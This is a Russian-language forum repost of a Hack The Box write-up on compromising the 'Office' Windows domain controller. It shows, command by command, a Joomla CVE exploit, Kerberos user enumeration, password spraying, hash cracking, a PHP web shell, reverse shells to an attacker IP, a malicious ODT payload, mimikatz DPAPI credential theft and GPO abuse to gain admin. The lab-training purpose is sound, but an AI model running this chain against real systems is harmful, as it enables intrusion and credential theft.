• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Захватываем домен управления групповыми пoлитиками Windows

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,181
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я покажу, как может быть атакован домен управления групповыми политиками в Active Directory. Но начнем мы с восстановленных запросов Kerberos и получим зашифрованные данные, которые позволят нам подобрать пароль пользователя. А затем воспользуемся уязвимостью в Joomla, чтобы получить сессию на удаленном сервере.
Наша цель — получение прав суперпользователя на машине Office с учебной площадки Hack The Box. Уровень задания — сложный.

warning​


Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.3 office.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта

Сканер нашел множество открытых портов, что вполне естественно для контроллера домена:

  • 53 — DNS;
  • 80 (HTTP) — веб‑сервер Apache httpd 2.4.56;
  • 88 — Kerberos;
  • 139 — служба сеансов NetBIOS, NetLogon;
  • 389 — LDAP;
  • 443 (HTTPS) — веб‑сервер Apache httpd 2.4.56;
  • 445 — SMB;
  • 464 — служба смены пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
  • 636 — LDAP с шифрованием SSL или TLS;
  • 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
  • 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
  • 5985 — служба удаленного управления WinRM;
  • 9389 — веб‑службы AD DS.
Как правило, в таких случаях первым делом стоит смотреть SMB, но на веб‑сервере развернута Joomla, а она может быть уязвима.


Точка входа​

Когда имеем дело с Joomla, первым делом следует использовать специализированный сканер — Для просмотра ссылки Войди или Зарегистрируйся.

joomscan -u Для просмотра ссылки Войди или Зарегистрируйся
Результат сканирования CMS Joomla

Определяем версию (4.2.7) и тут же пробуем найти для нее эксплоиты. Первым делом идем в Google.

Поиск эксплоитов в Google
И сразу узнаём, что в нашей версии есть уязвимость Для просмотра ссылки Войди или Зарегистрируйся, что позволит нам получить учетные данные для подключения к базе данных. Для этого будем использовать Для просмотра ссылки Войди или Зарегистрируйся.

Запускаем и указываем адрес:

python3 CVE-2023-23752.py -u Для просмотра ссылки Войди или Зарегистрируйся
Результат работы эксплоита

Уязвимость заключается в неправильной проверке доступа. Эксплоит проверяет различные API, которые могут вернуть учетные данные для подключения к базе данных. Однако для авторизации в CMS полученный таким образом пароль не подошел, а других пользователей, кроме администратора, найти не удалось.

В этом случае используем недочет протокола Kerberos: на запрос тикета пользователя могут приходить ответы с разными кодами ошибок. Один — при запросе тикета для несуществующего пользователя, другой — в ответ на неверный пароль. Таким образом, можно методом перебора узнать, какие пользователи есть в домене. Для этого используем утилиту Для просмотра ссылки Войди или Зарегистрируйся.

kerbrute_linux_amd64 userenum --dc dc.office.htb -d office.htb xato-net-10-million-usernames.txt
Результат перебора пользователей
Сохраняем найденных пользователей в файл и спреим полученный ранее пароль с помощью Для просмотра ссылки Войди или Зарегистрируйся.

nxc smb 10.10.11.3 -u users.txt -p 'H0lOgrams4reTakIng0Ver754!' --smb-timeout 3
Результат спрея пароля

Теперь у нас есть валидная учетная запись, что позволяет провести базовую разведку в домене.

Первым делом получим список всех пользователей.

nxc ldap 10.10.11.3 -u dwolfe -p 'H0lOgrams4reTakIng0Ver754!' --users
Список пользователей

Также необходимо сразу узнать, какие пользователи могут получить сессию через службу WinRM. Для этого запросим членов группы «Пользователи удаленного управления».

nxc smb 10.10.11.3 -u dwolfe -p 'H0lOgrams4reTakIng0Ver754!' --group 'Remote Management Users' --smb-timeout 3
Содержимое группы Remote Management Users

Получить сессию на сервере можно всего через одного пользователя. Теперь стоит проверить общие ресурсы SMB.

nxc smb 10.10.11.3 -u dwolfe -p 'H0lOgrams4reTakIng0Ver754!' --shares --smb-timeout 3
Общие ресурсы SMB

Каталог SOC Analysis — нестандартный, поэтому нужно просмотреть его содержимое.

impacket-smbclient 'office.htb/dwolfe:H0lOgrams4reTakIng0Ver754!'@10.10.11.3
Содержимое общего SMB-ресурса
В общем каталоге находим дамп трафика. Скачиваем его для анализа.


Точка опоры​


Kerberos network dump​

Открываем скачанный дамп трафика в Wireshark и в самом конце находим два пакета Kerberos.

Содержимое дампа трафика

Запрос AS-REQ содержит зашифрованную метку времени. В качестве ключа шифрования используется хеш пароля пользователя.

Содержимое сетевого пакета запроса AS-REQ

Используя Для просмотра ссылки Войди или Зарегистрируйся hashcat, можно попытаться подобрать пароль пользователя. Если с использованием NTLM-хеша строки получится расшифровать метку времени, можно считать, что мы нашли пароль пользователя.

Форматы hashcat

Формируем хеш:

$krb5pa$18$tstark$OFFICE.HTB$a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc
И отправляем на перебор в режиме 19900.

hashcat -a 0 -m 19900 tstark_hash.txt rockyou.txt
Результат подбора пароля

Пароль получен, теперь нужно его валидировать с помощью NetExec.

nxc smb 10.10.11.3 -u tstark -p 'playboy69' --smb-timeout 3
Результат проверки пароля

Пароль верный, но никаких новых доступов мы не получаем. Однако этот пароль подходит для учетной записи администратора Joomla.

Страница авторизации Главная панель администратора

Joomla RCE​

Администратор Joomla может загружать файлы на сервер, что дает возможность получить RCE. Для этого необходимо в меню перейти в System → Site Templates и выбрать шаблон.

Страница System Страница Templates

Затем выбираем New File, вводим имя и выбираем расширение .php.

Файлы шаблона

Создание нового файла

В окне исходного кода вставляем Для просмотра ссылки Войди или Зарегистрируйся.

Исходный код шелла

Когда файл сохранен, можно перейти к шеллу и получить возможность выполнения команд.

Страница с веб‑шеллом

Запускаем листенер:

rlwrap nc -nlvp 4321
И с помощью Для просмотра ссылки Войди или Зарегистрируйся выполняем реверс‑шелл от имени пользователя tstark.

RunasCs.exe tstark playboy69 -d office cmd.exe -r 10.10.16.143:4321
Сессия пользователя tstark
В домашнем каталоге пользователя забираем первый флаг.

Флаг пользователя

Продвижение​


Пользователь ppotts​

Первым делом смотрим системные настройки. В списке прослушиваемых портов можно обнаружить 8083.

netstat /an
Прослушиваемые порты
Скорее всего, на этом порте работает веб‑сервер, поэтому просмотрим каталог XAMPP.

Содержимое каталога C:\xampp\htdocs

Но чтобы получить доступ к порту, который доступен только для локального хоста, необходимо построить сетевой туннель. Для этого будем использовать Для просмотра ссылки Войди или Зарегистрируйся.

На локальном хосте запустим сервер, ожидающий подключения (параметр --reverse) на порт 8888 (параметр -p).

./chisel.bin server -p 8888 --reverse
Затем на удаленном хосте запустим клиентскую часть. Указываем адрес сервера и порт для подключения, а также настройку туннеля: туннелировать трафик с локального порта 8083 сервера на порт 8083 клиента.

chisel.exe client 10.10.16.143:8888 R:8083:localhost:8083
В логах сервера мы должны увидеть сообщение о создании сессии.

Логи chisel server
Теперь можно обратиться к порту 8083 локальной машины через браузер.

Главная страница сайта

На сайте есть форма загрузки файлов, но приложение принимает не все форматы, а только документы OpenOffice.

Ошибка загрузки файла

Формат ODT — это шаблон документа LibreOffice. Я попробовал загрузить документ с макросом, никакой реакции веб‑сервер не дал, поэтому пришлось поискать последние эксплоиты.

Поиск эксплоитов в Google

Свежая уязвимость Для просмотра ссылки Войди или Зарегистрируйся позволяет сформировать такой файл ODT, который при открытии выполнит произвольный код. Для формирования файла с нагрузкой используем Для просмотра ссылки Войди или Зарегистрируйся. В качестве исполняемой команды будем внедрять уже знакомый реверс‑шелл.

python3 CVE-2023-2255.py --cmd 'powershell -e JABjA....4AdAAuAEMAbABvAHMAZQAoACkA' --output doc.odt
Теперь отправляем сформированный файл и сразу же получаем бэкконнект на указанный порт.

Сессия пользователя ppotts

Пользователь hhogan​

Одно из мест, которые всегда стоит проверять в поисках пути для повышения привилегий, — сохраненные учетные данные.

cmdkey /list
Сохраненные учетные данные
Менеджер учетных данных содержит сохраненный пароль пользователя office\hhogan. Для хранения данных Credman использует механизм DPAPI. Блобы c данными хранятся в каталоге %APPDATA%\Roaming\Microsoft\Credentials.

Get-ChildItem -Hidden C:\Users\ppotts\AppData\Roaming\Microsoft\Credentials\
Содержимое каталога Credentials
При попытке расшифровать BLOB без мастер‑ключа при помощи Для просмотра ссылки Войди или Зарегистрируйся мы получим guid нужного нам ключа (поле guidMasterKey).

mimikatz.exe "dpapi::cred /in:C:\Users\ppotts\AppData\Roaming\Microsoft\Credentials\18A1927A997A794B65E9849883AC3F3E" "exit"
Содержимое блоба данных
Мастер‑ключ хранится в зашифрованном на ключевой информации пользователя виде в файле вот по такому пути:

%APPDATA%\Roaming\Microsoft\Protect\<SID>\<guidMasterKey>
Так как мы работаем в сессии пользователя, мастер‑ключ которого нам нужно получить, можем использовать механизм /rpc. Он поможет нам получить важную информацию, которая позволит расшифровать мастер‑ключ.

mimikatz.exe "dpapi::masterkey /in:C:\Users\ppotts\AppData\Roaming\Microsoft\Protect\S-1-5-21-1199398058-4196589450-691661856-1107\191d3f9d-7959-4b4d-a520-a444853c47eb /rpc" "exit"
Получение мастер‑ключа

Теперь используем полученный мастер‑ключ, чтобы расшифровать блоб.

Код:
mimikatz.exe "dpapi::cred /in:C:\Users\ppotts\AppData\Roaming\Microsoft\Credentials\84F1CAEEBF466550F4967858F9353FB4 /masterkey:87eedae4c65e0db47fcbc3e7e337c4cce621157863702adc224caf2eedcfbdbaadde99ec95413e18b0965dcac70344ed9848cd04f3b9491c336c4bde4d1d8166" "exit"

Учетные данные пользователя

Так как новый пользователь состоит в группе «Пользователи удаленного управления», можно получить доступ, используя службу WinRM. В этом нам поможет утилита Для просмотра ссылки Войди или Зарегистрируйся.

evil-winrm -u 'hhogan' -p 'H4ppyFtW183#' -i 10.10.11.3
Сессия пользователя hhogan

Повышение привилегий​

Просматриваем информацию о пользователе, его группы и привилегии и отмечаем, что пользователь состоит в группе GPO Managers.

Информация о пользователе
Эта группа позволит нам управлять объектами групповой политики, а это путь к повышению привилегий. Получим все объекты групповой политики в домене. Нас интересуют только идентификаторы объектов и их имена.

Get-GPO -All | select Id,DisplayName
Список GPO
Для изменения параметров GPO будем использовать инструмент Для просмотра ссылки Войди или Зарегистрируйся. Изменим политику домена по умолчанию и добавим текущего пользователя в группу Administrators.

Код:
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount hhogan --GPOName "Default Domain Policy"
gpupdate /force
Изменение GPO
Периодически просматриваем членов группы Administrators. Вскоре там появится и наш добавленный пользователь.

net localgroup Administrators
Члены группы Administrators
Теперь у пользователя есть высокие привилегии и мы можем использовать PsExec для получения сессии от имени SYSTEM.

impacket-psexec 'office.htb/hhogan:H4ppyFtW183#'@10.10.11.3
Флаг рута

Мы получили флаг рута, а значит, машина захвачена!
 
Activity
So far there's no one here